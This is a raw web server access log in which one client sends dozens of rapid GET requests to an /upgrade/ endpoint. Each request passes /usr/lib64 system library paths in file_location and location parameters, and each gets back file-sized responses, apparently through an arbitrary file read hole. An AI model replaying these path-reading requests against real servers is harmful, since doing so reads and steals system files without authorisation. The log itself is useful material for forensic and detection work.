45.135.193.11 - - [11/Sep/2026:23:01:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-errors.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 426616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-errors.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-swtpm.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-swtpm.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtemplate.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 158619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtemplate.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibulockmgr.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibulockmgr.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickWand-6.Q16.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 558306 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickWand-6.Q16.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106128 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblcms2.so.2.0.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 283005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblcms2.so.2.0.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-xfrm-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140820 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-xfrm-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-esys.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307395 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-esys.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-shared.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 677050 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-shared.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolorhug.so.2.0.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 142244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolorhug.so.2.0.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomposefs.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomposefs.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsndfile.so.1.0.31&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 303567 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsndfile.so.1.0.31&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtalloc.so.2.4.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126406 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtalloc.so.2.4.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so.5.8.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108345 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so.5.8.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119856 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefivar.so.1.38&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172447 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefivar.so.1.38&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so.0.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so.0.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk3.so.0.1.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112148 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk3.so.0.1.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123728 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibionic.so.1.0.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibionic.so.1.0.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnotify.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118310 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnotify.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpath_utils.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110480 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpath_utils.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-memb.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118737 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-memb.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibm.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103843 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibm.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-xfrm-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140592 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-xfrm-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-gobject-1.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 151991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-gobject-1.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsensors.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128504 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsensors.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXft.so.2.3.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 147450 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXft.so.2.3.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibestr.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibestr.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfuse.so.2.9.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189305 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfuse.so.2.9.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig.so.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127695 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig.so.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 328404 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153515 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FMcrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FMcrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibICE.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149773 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibICE.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcomposite.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108377 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcomposite.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavif.so.15.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavif.so.15.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181847 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 243108 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-glib-1.0.so.0.600.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-glib-1.0.so.0.600.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblmdb.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152987 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblmdb.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103825 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibns.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 237136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibns.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibp11-kit.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 612961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibp11-kit.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121848 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtls.so.28.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtls.so.28.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 867275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLLVM-21.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLLVM-21.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-gobject.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-gobject.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_intel.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173741 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_intel.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgomp.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 237492 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgomp.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstbase-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 344596 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstbase-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 232932 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ffipscheck HTTP/1.1" 200 6518 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ffipscheck" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXv.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXv.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmp.so.10.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 419909 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmp.so.10.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgomp.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 236502 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgomp.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
